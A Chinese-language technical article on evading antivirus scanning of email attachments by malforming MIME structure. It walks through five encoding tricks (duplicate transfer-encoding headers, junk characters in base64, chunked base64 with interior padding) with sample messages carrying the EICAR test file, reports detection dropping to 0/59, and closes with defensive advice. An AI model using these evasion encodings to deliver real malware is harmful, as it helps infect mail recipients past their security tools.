通过操控MIME让病毒邮件五步轻松过杀软
字数 1081 2025-08-29 08:32:19

利用MIME标准绕过杀毒软件检测的技术分析

1. MIME标准简介与安全缺陷

MIME(Multipurpose Internet Mail Extensions)标准用于扩展电子邮件格式,使其能够支持:

  • 非ASCII字符
  • 多部分消息体
  • 二进制附件

安全缺陷根源

  1. 标准过于复杂且灵活,导致不同实现解释不一致
  2. 没有明确定义错误处理方法
  3. 允许存在相互冲突的定义

2. 基础攻击原理

通过精心构造MIME结构,利用不同系统(杀毒软件、邮件网关、客户端等)对异常MIME处理的差异,使:

  • 杀毒软件无法正确解析附件内容
  • 邮件客户端仍能正常显示和打开附件

3. 五步绕过技术详解

步骤1:基础MIME构造

From: me@example.com
To: you@example.com
Subject: plain
Content-type: multipart/mixed; boundary=foo

--foo
Content-type: text/plain

Virus attached

--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64

UEsDBBQAAgAIABFKjkk8z1FoRgAAAEQAAAAJAAAAZWljYXIuY29tizD1VwxQdXAMiDaJCYiKMDXRCIjTNHd21jSvVXH1dHYM0g0OcfRzcQxy0XX0C/EM8wwKDdYNcQ0O0XXz9HFVVPHQ9tACAFBLAQIUAxQAAgAIABFKjkk8z1FoRgAAAEQAAAAJAAAAAAAAAAAAAAC2gQAAAABlaWNhci5jb21QSwUGAAAAAAEAAQA3AAAAbQAAAAAA
--foo--

初始检测率:36/59(Virustotal)

步骤2:内容传输编码冲突

添加相互矛盾的Content-Transfer-Encoding头:

Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable

技术要点

  • 大多数客户端使用第一个标头,忽略后续标头
  • 杀毒软件可能采用不同解析策略

检测率下降至:28/59

步骤3:Base64中插入垃圾字符

根据RFC 2045第6.8节:

  • Base64解码器应忽略非字母表字符
  • 但实际实现存在差异

示例:

U.E.s.D.B.B.Q.A.A.g.A.I.A.B.F.K.j.k.k.8.z.1.F.o.R.g.A.A.A.E.Q.A.A.A.A.J.A.A.A.A.Z.W.l.j.Y.X.I.u.Y.2.9.t.i.z.D.1.V.w.x.Q.d.X.A.M.i.D.a.J.C.Y.i.K.M.D.X.R.C.I.j.T.N.H.d.2.1.j.S.v.V.X.H.1.d.H.Y.M.0.g.0.O.c.f.R.z.c.Q.x.y.0.X.X.0.C./.E.M.8.w.w.K.D.d.Y.N.c.Q.0.O.0.X.X.z.9.H.F.V.V.P.H.Q.9.t.A.C.A.F.B.L.A.Q.I.U.A.x.Q.A.A.g.A.I.A.B.F.K.j.k.k.8.z.1.F.o.R.g.A.A.A.E.Q.A.A.A.A.J.A.A.A.A.A.A.A.A.A.A.A.A.A.A.C.2.g.Q.A.A.A.A.B.l.a.W.N.h.c.i.5.j.b.2.1.Q.S.w.U.G.A.A.A.A.A.A.E.A.A.Q.A.3.A.A.A.A.b.Q.A.A.A.A.A.A.

检测率下降至:17/59

步骤4:块式Base64编码

技术原理:

  • 标准Base64每次编码3字节→4字符
  • 故意每次只编码2字节→产生中间"="
  • 部分解码器遇到"="会停止解码

示例:

UEs=AwQ=FAA=AgA=CAA=EUo=jkk=PM8=UWg=RgA=AAA=RAA=AAA=CQA=AAA=ZWk=Y2E=ci4=Y28=bYs=MPU=Vww=UHU=cAw=iDY=iQk=iIo=MDU=0Qg=iNM=NHc=dtY=NK8=VXE=9XQ=dgw=0g0=DnE=9HM=cQw=ctE=dfQ=C/E=DPM=DAo=DdY=DXE=DQ4=0XU=8/Q=cVU=VPE=0PY=0AI=AFA=SwE=AhQ=AxQ=AAI=AAg=ABE=So4=STw=z1E=aEY=AAA=AEQ=AAA=AAk=AAA=AAA=AAA=AAA=AAA=ALY=gQA=AAA=AGU=aWM=YXI=LmM=b20=UEs=BQY=AAA=AAA=AQA=AQA=NwA=AAA=bQA=AAA=AAA=

检测率骤降至:1/59

步骤5:块式编码+垃圾字符

组合技术:

  • 块式Base64编码
  • 每个块间插入垃圾字符(如点号)

示例:

UEs=.AwQ=.FAA=.AgA=.CAA=.EUo=.jkk=.PM8=.UWg=.RgA=.AAA=.RAA=.AAA=.CQA=.AAA=.ZWk=.Y2E=.ci4=.Y28=.bYs=.MPU=.Vww=.UHU=.cAw=.iDY=.iQk=.iIo=.MDU=.0Qg=.iNM=.NHc=.dtY=.NK8=.VXE=.9XQ=.dgw=.0g0=.DnE=.9HM=.cQw=.ctE=.dfQ=.C/E=.DPM=.DAo=.DdY=.DXE=.DQ4=.0XU=.8/Q=.cVU=.VPE=.0PY=.0AI=.AFA=.SwE=.AhQ=.AxQ=.AAI=.AAg=.ABE=.So4=.STw=.z1E=.aEY=.AAA=.AEQ=.AAA=.AAk=.AAA=.AAA=.AAA=.AAA=.AAA=.ALY=.gQA=.AAA=.AGU=.aWM=.YXI=.LmM=.b20=.UEs=.BQY=.AAA=.AAA=.AQA=.AQA=.NwA=.AAA=.bQA=.AAA=.AAA=.

最终检测率:0/59

4. 技术扩展与应用

其他可能的攻击变种

  1. 文件名混淆

    • 利用不同系统对附件文件名解析的差异
    • 使用非常规字符或编码
  2. MIME部分重定向

    • 使杀毒软件分析错误的MIME部分
    • 客户端显示实际恶意内容
  3. 内容类型冲突

    • 声明多个相互矛盾的Content-Type

防御措施

  1. 邮件网关应

    • 实现严格的MIME解析器
    • 对异常结构进行标记或拦截
    • 标准化所有MIME部分后再分析
  2. 杀毒软件应

    • 采用与主流客户端相同的解析逻辑
    • 对中间"="的Base64数据进行处理
    • 实现垃圾字符过滤机制
  3. 组织应

    • 部署多层防御体系
    • 定期更新邮件安全解决方案
    • 对员工进行安全意识培训

5. 结论

通过利用MIME标准的复杂性和实现差异,攻击者可以构造出能够绕过大多数杀毒软件检测的恶意邮件。这种技术自2008年以来就已被发现,但许多安全产品仍未完全解决这些问题。防御此类攻击需要安全厂商重新审视其MIME处理逻辑,确保与主流邮件客户端的行为保持一致。

利用MIME标准绕过杀毒软件检测的技术分析 1. MIME标准简介与安全缺陷 MIME(Multipurpose Internet Mail Extensions)标准用于扩展电子邮件格式,使其能够支持: 非ASCII字符 多部分消息体 二进制附件 安全缺陷根源 : 标准过于复杂且灵活,导致不同实现解释不一致 没有明确定义错误处理方法 允许存在相互冲突的定义 2. 基础攻击原理 通过精心构造MIME结构,利用不同系统(杀毒软件、邮件网关、客户端等)对异常MIME处理的差异,使: 杀毒软件无法正确解析附件内容 邮件客户端仍能正常显示和打开附件 3. 五步绕过技术详解 步骤1:基础MIME构造 初始检测率 :36/59(Virustotal) 步骤2:内容传输编码冲突 添加相互矛盾的Content-Transfer-Encoding头: 技术要点 : 大多数客户端使用第一个标头,忽略后续标头 杀毒软件可能采用不同解析策略 检测率下降至 :28/59 步骤3:Base64中插入垃圾字符 根据RFC 2045第6.8节: Base64解码器应忽略非字母表字符 但实际实现存在差异 示例: 检测率下降至 :17/59 步骤4:块式Base64编码 技术原理: 标准Base64每次编码3字节→4字符 故意每次只编码2字节→产生中间"=" 部分解码器遇到"="会停止解码 示例: 检测率骤降至 :1/59 步骤5:块式编码+垃圾字符 组合技术: 块式Base64编码 每个块间插入垃圾字符(如点号) 示例: 最终检测率 :0/59 4. 技术扩展与应用 其他可能的攻击变种 文件名混淆 : 利用不同系统对附件文件名解析的差异 使用非常规字符或编码 MIME部分重定向 : 使杀毒软件分析错误的MIME部分 客户端显示实际恶意内容 内容类型冲突 : 声明多个相互矛盾的Content-Type 防御措施 邮件网关应 : 实现严格的MIME解析器 对异常结构进行标记或拦截 标准化所有MIME部分后再分析 杀毒软件应 : 采用与主流客户端相同的解析逻辑 对中间"="的Base64数据进行处理 实现垃圾字符过滤机制 组织应 : 部署多层防御体系 定期更新邮件安全解决方案 对员工进行安全意识培训 5. 结论 通过利用MIME标准的复杂性和实现差异,攻击者可以构造出能够绕过大多数杀毒软件检测的恶意邮件。这种技术自2008年以来就已被发现,但许多安全产品仍未完全解决这些问题。防御此类攻击需要安全厂商重新审视其MIME处理逻辑,确保与主流邮件客户端的行为保持一致。